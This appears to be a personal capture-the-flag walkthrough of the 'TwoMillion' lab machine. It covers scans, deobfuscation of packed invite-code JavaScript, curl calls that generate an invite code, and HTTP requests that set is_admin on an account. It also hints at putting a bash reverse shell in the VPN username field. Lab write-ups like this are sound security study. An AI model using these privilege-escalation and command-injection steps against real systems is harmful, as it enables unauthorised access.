TwoMillion

- 6 mins read

Recon

NMAP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.04 seconds

22 OpenSSH 8.9p1

80 nginx

|-> Redirect to http://2million.htb
|-> curl 10.10.11.221:80
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>

[!Note] Have to add 2million.htb to /etc/hosts

NMAP of 2million.htb

Dirsearch

[18:07:49] Starting: 
[18:07:50] 301 -  162B  - /js  ->  http://2million.htb/js/            
[18:07:57] 200 -    2KB - /404                                        
[18:08:10] 401 -    0B  - /api                                        
[18:08:10] 401 -    0B  - /api/v1                                     
[18:08:11] 301 -  162B  - /assets  ->  http://2million.htb/assets/    
[18:08:11] 403 -  548B  - /assets/                                    
[18:08:17] 403 -  548B  - /controllers/                               
[18:08:20] 301 -  162B  - /css  ->  http://2million.htb/css/          
[18:08:25] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/      
[18:08:27] 302 -    0B  - /home  ->  /                                
[18:08:28] 301 -  162B  - /images  ->  http://2million.htb/images/    
[18:08:28] 403 -  548B  - /images/
[18:08:30] 403 -  548B  - /js/                                        
[18:08:32] 200 -    4KB - /login                                      
[18:08:32] 302 -    0B  - /logout  ->  /                              
[18:08:44] 200 -    4KB - /register                                   
[18:08:55] 301 -  162B  - /views  ->  http://2million.htb/views/  

Walking webpage

/login

/invite

  • Enter an invite code
  • Cannot force an alert script ie: <script> Alert("meow!"); </script>

Source Code:

  • Takes user input and checks it with `url:/api/v1/invite/verify'
  • If the API says the invite code exists, it will redirect to [[###register]]
    <script defer>
        $(document).ready(function() {
            $('#verifyForm').submit(function(e) {
                e.preventDefault();

                var code = $('#code').val();
                var formData = { "code": code };

                $.ajax({
                    type: "POST",
                    dataType: "json",
                    data: formData,
                    url: '/api/v1/invite/verify',
                    success: function(response) {
                        if (response[0] === 200 && response.success === 1 && response.data.message === "Invite code is valid!") {
                            // Store the invite code in localStorage
                            localStorage.setItem('inviteCode', code);

                            window.location.href = '/register';
                        } else {
                            alert("Invalid invite code. Please try again.");
                        }
                    },
                    error: function(response) {
                        alert("An error occurred. Please try again.");
                    }
                });
            });
        });

/register

  • Here we can see an registration field but it expects an invite code already input - error=get+an+invite+code+first
  • Has PHPSESSID cookie
  • Can we trick the site into thinking we have an invite code with burpsuite?

Source code:

  • here in this portion of the source code we can see that it pulls inviteCode from local storage with no validation from the server.
  • Thus, we should be able to add this as a cookie and make it whatever we want!
    <script>
        $(document).ready(function() {
            // Retrieve the invite code from localStorage
            var inviteCode = localStorage.getItem('inviteCode');

            // Fill the input field
            $('#code').val(inviteCode);
        });
    </script>
- This assumption turned out not to be true.
- Adding the value 'meowMeow!' to the localStorage key inviteCode only adds that invite code to what the page is displaying. It appears to still be checking for a valid key on the other side.
- returned error: error=Code+is+invalid!
  • Moving on from that we see the defer source is to /js/inviteapi.min.js
    • This has the following function:
eval(function(p, a, c, k, e, d) {
	e = function(c) {
		return c.toString(36)
	};
	if (!''.replace(/^/, String)) {
		while (c--) {
			d[c.toString(a)] = k[c] || c.toString(a)
		}
		k = [function(e) {
			return d[e]
		}];
		e = function() {
			return '\\w+'
		};
		c = 1
	};
	while (c--) {
		if (k[c]) {
			p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
		}
	}
	return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
  • We see that a hint here is the variables that spell out “packed”. From this hint and after seeing the difficulty of translation we can conclude this code is obfuscated.
    • Thus, we have two options: Throw it at an LLM or try something much nicer:
  • In developer tools we can paste this function into the console. Remove the eval wrapper and instead wrap it with console.log().
  • After throwing the code through a beautify algorithm we get the resulting code:
function verifyInviteCode(code) {
	var formData {
		"code": code
	};
	$.ajax({
		type: "POST",
		dataType: "json",
		data: formData,
		url: '/api/v1/invite/verify',
		success: function(response) {
			console.log(response)
		},
		error: function(response) {
			console.log(response)
		}
	})
}

function makeInviteCode() {
	$.ajax({
		type: "POST",
		dataType: "json",
		url: '/api/v1/invite/how/to/generate',
		success: function(response) {
			console.log(response)
		},
		error: function(response) {
			console.log(response)
		}
	})
}

Now things are much more clear!

Now, making a post request to that API URL, the following is returned:

curl -X POST http://2million.htb/api/v1/invite/how/to/generate 
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}  
  • It then very clearly tells us it is encrypted and which encryption type it is.
  • Decrypting the data section we get:
    • In order to generate the invite code, make a POST request to /api/v1/invite/generate Man… I was so close. I just didn’t make a post request..

And doing so gives us this:

curl -X POST http://2million.htb/api/v1/invite/generate       
{"0":200,"success":1,"data":{"code":"VUlJSEYtWjlMTVYtMjZOQUktV1AxNDg=","format":"encoded"}}   
  • We can recognize that this is base64 encoded.

    • Decoding we get the code: UIIHF-Z9LMV-26NAI-WP148
  • From here, we can create an account and access the home user page.

User account obtained

We obtained a user account and from here we have access to only a few different pages.

  • /access
  • /changelog

In access we can generate and download VPN configurations.

  • Downloading a connection pack reaches out to the API again
    • Specifically: http://2million.htb/api/v1/user/vpn/generate

By visiting /api/v1 we get a list of all api endpoints!! WOAH! Wish I saw this sooner! haha

  • This is called the ’ Route List '

  • Now we can see that the admin api has 3 different endpoints! ![[API options.png]]

  • Cannot get the VPN to connect

  • Nothing of much value from the change logs

Connecting to /api/vi/admin/settings/update we get 200 OK content : {“status”:“danger”,“message”:“Invalid content type.”} Request:

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Sec-Gpc: 1
Connection: keep-alive
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=sbko7s8cjqv55juj6ps23kkpfe
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 56

{
"email":"[email protected]",
"is_admin":1
}

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jul 2025 04:11:30 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 41

{"id":14,"username":"mauzy","is_admin":1}

Request:

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Sec-Gpc: 1
Connection: keep-alive
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=sbko7s8cjqv55juj6ps23kkpfe
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 73

{
"email":"[email protected]",
"username":"mauzy",
"is_admin":1
}

This returns a 200 OK status. Only the username and PHPSESSID

  • I cheated … Its generating in bash so you create a reverse shell in bash and your username parameter is where the payload goes.
    • The only way to check for input validation was through the username field or the PHPSESSID.
    • The writeup figures that code generating the VPN key is not PHP and assumes it is BASH. This assumption is what led me down a wandering path